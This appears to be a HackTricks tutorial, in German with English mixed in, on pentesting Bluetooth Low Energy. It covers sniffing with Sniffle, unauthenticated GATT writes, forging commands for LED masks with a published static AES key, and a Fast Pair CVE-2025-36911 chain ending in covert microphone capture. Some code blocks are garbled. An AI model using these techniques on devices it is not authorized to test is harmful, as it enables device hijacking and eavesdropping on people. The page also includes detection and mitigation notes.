Pentesting BLE - Bluetooth Low Energy

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

EinfĂŒhrung

Seit der Bluetooth-4.0-Spezifikation verwendet BLE nur 40 KanÀle und deckt damit den Bereich von 2400 bis 2483,5 MHz ab. Im Gegensatz dazu nutzt klassisches Bluetooth in demselben Bereich 79 KanÀle.

BLE-GerĂ€te kommunizieren durch das Senden von advertising packets (beacons); diese Pakete senden die Existenz des BLE-GerĂ€ts an andere nahegelegene GerĂ€te. Diese Beacons ĂŒbertragen manchmal auch Daten.

Das empfangende GerĂ€t, auch ZentralgerĂ€t (central device) genannt, kann auf ein advertising packet mit einer gezielten SCAN request antworten, die speziell an das sendende GerĂ€t gerichtet ist. Die response auf diesen Scan verwendet dieselbe Struktur wie das advertising-Packet, enthĂ€lt aber zusĂ€tzliche Informationen, die nicht in die ursprĂŒngliche Advertising-Anfrage passten, z. B. den vollstĂ€ndigen GerĂ€tenamen.

Das PrĂ€ambel-Byte synchronisiert die Frequenz, wĂ€hrend die vierbyte Access Address ein connection identifier ist, der in Szenarien verwendet wird, in denen mehrere GerĂ€te versuchen, auf denselben KanĂ€len Verbindungen herzustellen. Danach enthĂ€lt die Protocol Data Unit (PDU) die advertising data. Es gibt mehrere PDU-Typen; die am hĂ€ufigsten verwendeten sind ADV_NONCONN_IND und ADV_IND. GerĂ€te verwenden den ADV_NONCONN_IND-PDU-Typ, wenn sie keine Verbindungen akzeptieren und Daten nur im Advertising-Paket ĂŒbertragen. GerĂ€te verwenden ADV_IND, wenn sie Verbindungen erlauben und das Senden von Advertising-Paketen einstellen, sobald eine connection etabliert wurde.

GATT

Der Generic Attribute Profile (GATT) definiert, wie das GerĂ€t Daten formatieren und ĂŒbertragen sollte. Wenn Sie die AngriffsflĂ€che eines BLE-GerĂ€ts analysieren, konzentrieren Sie sich hĂ€ufig auf den GATT (oder GATTs), da ĂŒber ihn die GerĂ€tefunktionalitĂ€t ausgelöst wird und darĂŒber, wie Daten gespeichert, gruppiert und verĂ€ndert werden. Der GATT listet die Charakteristiken, Deskriptoren und Services eines GerĂ€ts in einer Tabelle als 16- oder 32-Bit-Werte auf. Eine Charakteristik ist ein Datenwert, der zwischen dem ZentralgerĂ€t und dem peripheren GerĂ€t gesendet wird. Diese Charakteristiken können Deskriptoren haben, die zusĂ€tzliche Informationen ĂŒber sie bereitstellen. Charakteristiken werden oft in Services gruppiert, wenn sie zusammenhĂ€ngen und eine bestimmte Aktion ausfĂŒhren.

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool erlaubt es, eine Verbindung zu einem anderen GerÀt herzustellen, die characteristics dieses GerÀts aufzulisten und seine Attribute zu lesen und zu schreiben.
GATTTool kann mit der Option -I eine interaktive Shell starten:

GATTTool interaktive Nutzung und Beispiele ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing und aktive Kontrolle unpaired BLE devices

Viele kostengĂŒnstige BLE-PeripheriegerĂ€te erzwingen kein pairing/bonding. Ohne bonding wird die Link Layer encryption nie aktiviert, sodass ATT/GATT-Traffic im Klartext liegt. Ein off-path sniffer kann der Verbindung folgen, GATT-Operationen dekodieren, um characteristic handles und values zu ermitteln; jeder nahegelegene host kann sich dann verbinden und diese writes wiederholen, um das GerĂ€t zu steuern.

Sniffing mit Sniffle (CC26x2/CC1352)

Hardware: ein Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), neu geflasht mit NCC Group’s Sniffle firmware.

Installiere Sniffle und dessen Wireshark extcap unter Linux:

Installiere Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Sonoff mit Sniffle firmware flashen (stelle sicher, dass dein serielles GerĂ€t ĂŒbereinstimmt, z. B. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

In Wireshark ĂŒber das Sniffle extcap erfassen und schnell zu zustandsverĂ€ndernden SchreibvorgĂ€ngen pivoten, indem Sie filtern:

_ws.col.info contains "Sent Write Command"

Dies hebt ATT Write Commands vom Client hervor; der Handle und der Wert entsprechen oft direkt GerÀteaktionen (z. B. write 0x01 an eine buzzer/alert characteristic, 0x00 zum Stoppen).

Schnelle Beispiele fĂŒr Sniffle CLI:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative Sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin funktioniert ebenfalls. Bei kleinen/gĂŒnstigen Nordic-Dongles ĂŒberschreibt man typischerweise den USB-Bootloader, um die Sniffer-Firmware zu laden, daher behĂ€lt man entweder einen dedizierten Sniffer-Dongle oder benötigt einen J-Link/JTAG, um den Bootloader spĂ€ter wiederherzustellen.

Aktive Steuerung ĂŒber GATT

Sobald Sie ein beschreibbares characteristic handle und den Wert aus dem mitgeschnittenen Traffic identifiziert haben, verbinden Sie sich als beliebiges Central und fĂŒhren denselben Write aus:

  • Mit Nordic nRF Connect for Desktop (BLE app):

  • WĂ€hlen Sie den nRF52/nRF52840-Dongle, scannen Sie und verbinden Sie sich mit dem Ziel.

  • Durchsuchen Sie die GATT-Datenbank, lokalisieren Sie die Ziel-Characteristic (hat oft einen freundlichen Namen, z. B. Alert Level).

  • FĂŒhren Sie einen Write mit den mitgeschnittenen Bytes aus (z. B. 01 zum Auslösen, 00 zum Stoppen).

  • Automatisieren unter Windows mit einem Nordic-Dongle mittels Python + blatann:

Python blatann write-Beispiel (Windows + Nordic-Dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}
“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services
”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting
”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Fallstudie: Übernahme von BLE-LED‑Masken (Shining Mask‑Familie)

GĂŒnstige, White‑Label BLE‑LED‑Masken, die von der “Shining Mask” App gesteuert werden, akzeptieren Schreibzugriffe von jedem nahegelegenen central ohne pairing/bonding. Die App kommuniziert ĂŒber GATT mit einer command characteristic und einer data characteristic; Befehle sind in AES‑ECB mit einem statischen, hartkodierten SchlĂŒssel aus der App verschlĂŒsselt, wĂ€hrend Bulk‑Bilddaten unverschlĂŒsselt ĂŒbertragen werden.

Wichtige UUIDs auf diesen GerÀten:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Unauthentifizierte GATT‑SchreibvorgĂ€nge
- Kein pairing/bonding erforderlich. Jeder Host kann sich verbinden und auf die Command‑UUID schreiben, um Helligkeit zu Ă€ndern, Bilder auszuwĂ€hlen, Animationen zu starten usw.
- HĂ€ufig beobachtete Operationen: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Kommando‑Frame mit statischem AES‑SchlĂŒssel
- Frame = 1‑Byte LĂ€nge, ASCII op (z. B. b"LIGHT"), args, auf 16 gepadded, AES‑ECB verschlĂŒsselt mit statischem SchlĂŒssel aus der App.
- Bekannter statischer SchlĂŒssel (hex): 32672f7974ad43451d9c6c894a0e8764

Python‑Helfer zum VerschlĂŒsseln und Senden eines Kommandos (Beispiel: maximale Helligkeit setzen):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Image-Upload-Ablauf

  • Nach einem verschlĂŒsselten DATS handshake werden raw chunks unverschlĂŒsselt in die data characteristic 
960a geschrieben.
  • Packet format: [len][seq][payload]. Empirisch funktionieren ~100 bytes payload pro packet zuverlĂ€ssig.
Minimaler Image-Upload-Pseudocode ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to 
960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **Discovery:** Scan BLE advertisements for **service UUID 0xFE2C** (Google Fast Pair). Devices in pairing mode typically expose a pairing badge; even out of pairing mode the Fast Pair service can respond to GATT.
- **Non-invasive probe (signature enforcement check):**
1. GATT **verbinden** mit dem Fast Pair service und **die Model ID lesen**.
2. **Write a Key-Based Pairing (KBP) value without a signature**. Wenn das Peripheral den unsigned KBP-Write akzeptiert, ist es anfĂ€llig fĂŒr den signature-bypass (WhisperPair/CVE-2025-36911). Ablehnung deutet auf einen Patch hin; Fehler können unklar sein, wenn bereits gepairt.
- **BLE → BR/EDR pivot:** Sende eine **KBP Request** und parse die **encrypted response**, um die BR/EDR-Adresse des Ziels zu rekonstruieren. Verwende einen klassischen bonding-Aufruf (z. B. Android **`createBond(<BR/EDR address>)`**) um das unautorisierte Pairing abzuschließen. Falls unterstĂŒtzt, persistiert das Schreiben eines **Account Key** die Zuordnung.
- **Post-bond microphone abuse:** Nach dem Bonding HFP öffnen und SCO audio starten, um einen Live-Mikrofon-Stream zum Mithören/Aufzeichnen zu erhalten (z. B. Speicherung als M4A). Diese Kette verwandelt die Annahme eines unsigned KBP in Remote-Audio-Aufnahme ohne Benutzerzustimmung.
- **Hunt/detect:** Achte auf Fast Pair GATT-Traffic, gefolgt von klassischen bonding-Versuchen zur in KBP zurĂŒckgegebenen BR/EDR-Adresse, und auf KBP-Writes ohne Signature. Durchsetzung von Signature-Validation auf KBP und Aufforderung zu user-confirmed pairing unterbricht die Kette.

## Operational notes

- Prefer Sonoff+Sniffle on Linux fĂŒr robustes channel hopping und connection following. Halte einen Ersatz Nordic sniffer als Backup bereit.
- Ohne pairing/bonding kann ein Angreifer in der NĂ€he SchreibvorgĂ€nge beobachten und diese replayen oder eigene unauthenticated Schreibzugriffe auf writable characteristics durchfĂŒhren.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Lernen & ĂŒben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & ĂŒben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & ĂŒben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>UnterstĂŒtzen Sie HackTricks</summary>
>
> - ÜberprĂŒfen Sie die [**AbonnementplĂ€ne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>